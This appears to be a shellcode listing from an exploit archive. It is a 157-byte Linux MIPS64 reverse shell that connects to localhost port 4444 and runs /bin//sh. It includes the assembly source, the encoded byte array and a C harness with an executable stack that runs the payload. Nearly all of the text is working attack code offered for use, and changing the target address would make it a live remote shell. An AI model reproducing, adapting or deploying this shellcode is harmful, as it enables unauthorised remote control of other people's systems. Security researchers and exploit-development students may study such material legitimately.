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Linux/MIPS64 - Reverse (localhost:4444/TCP) Shell Shellcode (157 bytes)
/* * # Reverse shell shellcode for Linux MIPS64 (mips64el) * # Default port: tcp/4444 * # Host: localhost * # Date: August 19 - 2019 * # Author: Antonio de la Piedra * # Tested on: MIPS Malta - Linux debian-mips64el 4.9.0-3-5kc-malta * # Size: 157 bytes * # Compile with: gcc -fno-stack-protector -z execstack main.c -o main -g */ #include <stdio.h> #include <string.h> /* .text .global __start __start: dli $s4, -3 dli $s5, -17 nor $a0,$s4,$zero nor $a1,$s4,$zero slti $a2,$zero,-1 li $v0,5040 syscall 0x40404 sw $v0, -32($sp) lw $a0, -32($sp) nor $t0,$s4,$zero sw $t0, -12($sp) dli $t2,0x5c11 sw $t2,-10($sp) dli $t1,0x0101017f sw $t1,-8($sp) daddiu $a1,$sp,-12 nor $a2,$s5,$zero dli $v0,5041 syscall 0x40404 nor $a1,$s4,$zero dli $s0, -1 loop: dli $v0,5032 syscall 0x40404 daddi $a1,$a1,-1 bne $a1,$s0,loop dli $t0,0x69622f2f sw $t0,-12($sp) dli $t1,0x68732f6e dli $t1,0x68732f6e sw $t1,-8($sp) sw $zero,-4($sp) daddiu $a0,$sp,-12 slti $a1,$zero,-1 slti $a2,$zero,-1 dli $v0,5057 syscall 0x40404 .align 8 */ unsigned char code[] = "\xfd\xff\x14\x24" "\xfd\xff\x14\x24" "\xef\xff\x15\x24" "\x27\x20\x80\x02" "\x27\x28\x80\x02" "\xff\xff\x06\x28" "\xb0\x13\x02\x24" "\x0c\x01\x01\x01" "\xe0\xff\xa2\xaf" "\xe0\xff\xa4\x8f" "\x27\x60\x80\x02" "\xf4\xff\xac\xaf" "\x11\x5c\x0e\x24" "\xf6\xff\xae\xaf" "\x01\x01\x0d\x3c" "\x7f\x01\xad\x35" "\xf8\xff\xad\xaf" "\xf4\xff\xa5\x67" "\x27\x30\xa0\x02" "\xb1\x13\x02\x24" "\x0c\x01\x01\x01" "\x27\x28\x80\x02" "\xff\xff\x10\x24" "\xa8\x13\x02\x24" "\x0c\x01\x01\x01" "\xff\xff\xa5\x60" "\xfc\xff\xb0\x14" "\x62\x69\x0c\x3c" "\x2f\x2f\x8c\x35" "\xf4\xff\xac\xaf" "\x73\x68\x0d\x3c" "\x6e\x2f\xad\x35" "\xf8\xff\xad\xaf" "\xfc\xff\xa0\xaf" "\xf4\xff\xa4\x67" "\xff\xff\x05\x28" "\xff\xff\x06\x28" "\xc1\x13\x02\x24" "\x0c\x01\x01\x01"; int main(int argc, char ** argv) { void(*s)(void); printf("Shellcode Length: %d\n", strlen(code)); s = code; s(); } # 0day.today [2024-11-14] #